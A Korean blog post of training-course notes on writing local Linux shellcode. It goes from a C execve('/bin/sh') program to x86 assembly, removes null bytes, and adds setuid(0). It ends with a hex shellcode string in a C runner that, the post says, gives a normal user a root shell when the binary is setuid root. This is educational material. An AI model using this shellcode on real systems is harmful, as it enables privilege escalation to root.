본문으로 바로가기
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

6. 쉘 코드 제작 (심화)


1) LOCAL SHELLCODE


▣ Local Shellcode

- 로컬 환경에서 동작되는 쉘(/bin/sh)

- /tmp/local.c 로 작성

- 컴파일 : # gcc -o local local.c -static

- execve(실행경로, 인자값 배열의 주소, 환경변수 배열의 주소)    //execve는 시스템콜함수로 11번임.

#include <stdio.h>

int main()
{
    char * i2sec[2];
    i2sec[0] = "/bin/sh";
    i2sec[1] = 0;
    execve(i2sec[0], i2sec, &i2sec[1]);
}


- 어셈블리어로 작성.

global _start

_start:
    jmp short message

start:
    pop ebx

    push 0
    mov edx, esp
    push ebx

    mov ecx, esp
    mov eax, 0xb
    int 0x80

message:
    call start
    db "/bin/sh", 0

- 널바이트 제거를 위해 수정

global _start _start: jmp short message start: xor eax, eax pop ebx push eax mov edx, esp push ebx mov ecx, esp mov al, 0xb int 0x80 message: call start db "/bin/sh", 0

- 해당 어셈블리어로 만들어진 파일을 chmod 4777로 줘도 일반사용자가 root권한의 쉘을 얻지 못함.

☞ /bin/sh는 ruid랑 euid를 동시에 비교해서 다르면 root 권한을 허용안함.

- 그럼 어떻게 해야하나..

☞ setuid(0); 를 추가해준다.  ->  setuid의 시스템 콜 번호는 23(0x17)

global _start _start: jmp short message start: xor eax, eax mov ebx, eax mov al, 0x17 int 0x80 pop ebx push eax mov edx, esp push ebx mov ecx, esp mov al, 0xb int 0x80 message: call start db "/bin/sh", 0

☞ 이제 해당 파일을 쉘코드로 추출해서 일반사용자가 실행하면 root 권한의 쉘을 얻을 수 있음.

#include <stdio.h> char code[] = "\xeb\x13\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x5b\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { int (*exeshell)(); exeshell = (int (*) ())code; (int)(*exeshell)(); }

- 위의 c코드를 컴파일 한 후 chmod 4755를 주고 일반사용자에서 실행하면 root권한의 쉘을 얻음.








i2sec 대구지점 23기 수료생.

'해킹&보안 > 시스템해킹&보안' 카테고리의 다른 글

[D+10] 보호 기법 우회 (1)  (4) 2017.04.12
[D+9] 메모리 보호 기법  (0) 2017.04.12
[D+7] 쉘 코드 제작  (0) 2017.04.11
쉘 프로그래밍  (0) 2017.03.16
[D+5] Backdoor (백도어) (2)  (0) 2017.03.08